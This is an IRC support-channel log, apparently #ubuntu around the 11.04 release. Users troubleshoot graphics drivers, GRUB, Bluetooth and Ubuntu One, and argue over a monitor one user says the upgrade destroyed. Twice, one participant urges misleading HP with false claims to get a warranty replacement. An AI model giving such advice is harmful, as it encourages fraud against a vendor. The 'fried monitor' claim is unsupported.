[23:39] <coz_> dibs,  yeah not doubt,, trying to see if I remember the solution,, but no luck  so far,, so in the meantime ,, someone else can take this if they remember
[23:39] <phed> cool beanstalk gl
[23:40] <dibs> coz_: so you think they resolved it?
[23:41] <dibs> I hear there are new ati drivers so I might try those?
[23:41] <coz_> dibs,  I am vaguely remember that it was solved for that one person,, i dont think I was the one who solved it  however
[23:41] <Kron> Belial`: Sounds like it's not recognizing your video card. You try installing restricted drivers maybe?
[23:41] <Belial`> Kron, i have an optimus laptop (intel switchable to nvidia) but that doesn't work.
[23:42] <Belial`> it always uses the intel chip which worked fine when i used unity after upgrading from 10.10
[23:42] <makaveli0129> i have windows 7 installed in a virtualbox ubuntu as the host OS and i can't see any of my other partitions in virtualbox anyone know how to do this?
[23:42] <Belial`> for some reason the clean install doesn't run it.
[23:42] <jimmybrite> I upgraded 10.10 to 11.04, I dual boot, and now I can't boot into ANY os at all, long story short, grub2 messed up my mbr something fierce, can anyone direct me the right way, i'm geting nowhere with the grub2 ubuntu documentation, should I just reinstall grub2?
[23:42] <coz_> dibs,   I do recall asking to also join #radeon channel
[23:43] <dibs> coz_: thanks bro, will do!
[23:43] <coz_> dibs,  he may have gotten it solved there :)
[23:44] <Kron> Belial`: You might not be the only one: https://bugs.launchpad.net/ubuntu/+source/nvidia-graphics-drivers/+bug/770685
[23:44] <ubottu> Ubuntu bug 770685 in nvidia-graphics-drivers (Ubuntu) "there is no optimus support in linux" [Undecided,New]
[23:45] <litropy_> Hi, peeps. For some reason Bluetooth won't turn on. The menu applet says it's on but when I go into the Bluetooth prefPane I see a but button that says "Turn Bluetooth on." I click that, and the button greys ... and nothing happens.
[23:45] <litropy_> s/but button/button
[23:46] <Belial`> Kron, yeah, i've read on all that. it's just weird that if i install 10.10 first and then do an upgrade to 11.04, unity works.
[23:46] <Kron> litropy_: You sure it's enabled in the BIOS?
[23:46] <Belial`> but i wanted to try a clean install.
[23:46] <litropy_> Kron, yes.
[23:46] <Kron> Belial`: I understand wanting a clean install :)
[23:47] <Kron> litropy_: I'm afraid my Bluetooth Dongle grew legs. I haven't played with it in Natty :/
[23:48] <litropy_> Is there a CLI command I can use --verbose in order to see the output of what happens when I attempt to enable Bluetooth?
[23:48] <litropy_> Kron, wireless keyboards all the way!
[23:49] <Kron> litropy_, hehe all my wireless keyboards are RF and the range is disappointing
[23:49] <litropy_> ... radioing to a bluetooth card, hooked into an iMac, hooked into an HDTV!
[23:49] <Kevin147> Now that I upgraded to ubuntu 11.04, it FRIED my monitor, what am I supposed to do about this? >:|
[23:49] <litropy_> Kron, Range is fine from couch distance here
[23:50] <Cheese> Is there any way i can install fedora along with ubuntu and windows 7?
[23:50] <litropy_> Kron, it works when I boot into OS X (not a fanboy). I'm using Refit to dual boot.
[23:50] <Kron> litropy_, Not sure if it will show up there, but you could try tail -f /var/log/dmesg and see if any events show up there?
[23:52] <Kevin147> Now that I upgraded to ubuntu 11.04, it FRIED my monitor, what am I supposed to do about this? >:|
[23:53] <coz_> Kevin147,   get a new monitor...yes?
[23:53] <Cheese> If i install fedora along with ubuntu and windows 7 Will grub pick it up? is there any special installation procedure i have to do?
[23:53] <litropy_> Kron, nothing bluetooth-related.
[23:53] <Kevin147> coz_: oh yeah totally, how about you buy me one? not my fault 11.04 FRIED my monitor! I'm ticked
[23:54] <linux_is_my_hero> how do i disable ubuntu one?
[23:54] <linux_is_my_hero> in ubuntu 11.04?
[23:54] <Kevin147> it was a brand new monitor, just got it over the time of the return date so yup >.>
[23:54] <Cheese> I dont know why the operatings system would fry your monitor
[23:54] <coz_> Kevin147,  well not trying to be  flippant about it,, but ubuntu didnt fry the monitor
[23:54] <Cheese> It was probably a coincidence
[23:54] <Kevin147> Cheese: new drivers = fry my monitor
[23:54] <Kevin147> yes it did
[23:54] <linux_is_my_hero> kevin147: if the refresh rate is wrong, that can do some damage.
[23:54] <Cheese> Oh
[23:54] <Cheese> Sucks
[23:54] <Kevin147> nope
[23:54] <Kevin147> it was 60Hz
[23:54] <coz_> Kevin147,  which video card do you have?
[23:54] <Kevin147> idk, i can't see it?
[23:55] <coz_> Kevin147,  in terminal    lspci | grep -i vga
[23:55] <linux_is_my_hero> kevin147: did you consider just contacting your monitor vendor and blaming them?
[23:55] <linux_is_my_hero> kevin147: just tell them it never worked in the first place and you want another one.
[23:55] <coz_> Kevin147,   wait apparenlty you are not on linux ,, am I correct?
[23:55] <Kevin147> linux_is_my_hero: yes I tried that
[23:55] <Kevin147> didn't work because they say that Linux did it
[23:55] <Kron> litropy_, Found this: https://lists.ubuntu.com/archives/ubuntu-bluetooth/2011-March/009623.html
[23:55] <Kevin147> on my laptop atm, that has ubuntu
[23:55] <coz_> Kevin147,   yeah ,, shows what they know
[23:56] <Cheese> Are you sure it didnt fuck your video card?
[23:56] <litropy_> Kron, browsing
[23:56] <coz_> Kevin147,  ah ok
[23:56] <Kevin147> I'm switching over to pclinuxos gnome version
[23:56] <linux_is_my_hero> kevin147: call them back and say you have a blank hdd and therefore only a signal from your bios. if they dont understand that just ask to speak to a supervisor.
[23:56] <sgaap> Kevin, the only thing that might be an issue is if the driver overclocked your gpu and it fried, but that would be a long shot
[23:57] <linux_is_my_hero> 11.04 is slower than 10.10 was because it reenabled ubuntu one. how do i disable ubuntu one in 11.04?
[23:57] <Kevin147> linux_is_my_hero: I tried that, I said it about 100 times to ESALATE the call, but hp is so damn stubburn >.>
[23:57] <Kevin147> escalate*
[23:58] <Kevin147> unity sucks anyway, thats why I'm changing.. one more thing I guess I'm gonna try is to install windows (blek!!) and see if that works.. if that doesn't, I'm gonna call them back
[23:58] <Kron> litropy_, You try restarting the bluetooth service?
[23:58] <Kevin147> so bbl.
[23:59] <linux_is_my_hero> kevin147: have you tried connecting an HD video source via HDMI, like cable/sat/fios or a video game console?
[23:59] <litropy_> Kron, sudo /etc/init.d/bluetooth restart worked! thanks!
[23:59] <linux_is_my_hero> or an N64 via component :-D
[23:59] <Kron> litropy_, Great!
[23:59] <Kevin147> linux_is_my_hero: still don't work, tried it on my laptop and everything, still don't work so its the monitor not my comp
[23:59] <Kevin147> and before 11.04 does anymore damage to my comp, I'm changing asap.
